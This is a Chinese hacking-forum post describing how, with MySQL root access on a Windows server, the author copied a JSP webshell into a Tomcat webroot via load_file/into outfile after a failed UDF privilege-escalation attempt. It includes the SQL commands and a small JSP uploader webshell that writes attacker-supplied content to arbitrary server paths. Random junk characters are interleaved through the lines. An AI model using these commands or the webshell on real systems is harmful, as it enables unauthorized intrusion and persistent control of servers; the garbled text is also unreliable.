中国网络渗透测试联盟

标题: 解决Win下MySQL root导出Webshell换行符问题 [打印本页]

作者: admin    时间: 2013-3-8 21:52
标题: 解决Win下MySQL root导出Webshell换行符问题
今天碰到了这么个问题,简单记录一下我的解决方案。
; H1 `7 d  d  k; y! l( }9 p
8 U8 J' C$ S( \7 r' {) ~5 ~首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php1 a, t6 U" ], M  z! ?( d' w+ h
安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)* K; Z5 K+ n, a
提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
6 ~- B! }2 \; T5 j) ~1 show variables like '%plugin%';
" _3 W" i5 Y6 `1 j后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功
+ ]4 m7 r( B$ j. F0 ?3 j$ V5 y) u: V创建自定义函数似乎被拦截,一直失败。
2 `! s: ~9 ?4 I0 {后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限
: k8 x+ S8 I. \# q3 P$ w% S! H测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp! G" j! H! s( x, x. K, `
用mysql执行语句:
6 X4 K6 d& s8 c1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
1 E! T& B* q/ d5 ]2 复制代码- V( P! W; Z+ X4 m) q
后成功。
3 }  ?' |- n5 V* {但是访问后得到如下提示:/ w4 B& t/ {) ?
​500页面* ]1 o, b. M5 l, W

9 G8 u, d5 i( V( V) p
% C* x. C# l/ l3 J8 H明显是MySQL的Win下版本自动添加转义符\n\r了
7 V0 F2 m  B0 ^# Z! L这样导致程序运行的悲剧。
" K. _- J# u+ M( {6 _4 x从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。) v3 C# \5 a5 }1 G5 e" \
最后弄了这么个小脚本:. E( `  _# Q1 }* }
01 <%@ page language="java" pageEncoding="gbk"%>
( {* ]" E( x( ^! ~8 r02 <jsp:directive.page import="java.io.File"/>
9 K/ v  ^+ U0 ?6 `03 <jsp:directive.page import="java.io.OutputStream"/>! Y1 N, H% m/ M! t& _
04 <jsp:directive.page import="java.io.FileOutputStream"/>
( O* g  D3 I' }( H2 q. A05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
/ w$ u5 X+ j3 a  z* R  h06 error www.2cto.com
% m* G7 B! X: f6 E; e9 ]0 F07 <%}}if(i==0){%>
, d8 B( S4 C" }) ~08 ok
' W* _3 w+ X9 `3 u09 <%}%>/ S" @1 S# i+ r7 V( [
10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">4 n' J/ u7 b. R4 [1 x- @% r5 z3 V/ G
就可以避免转义符让JSP的马儿运行500错误了。
3 @' G  p% d4 J& M+ w. X0 R* \2 F




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2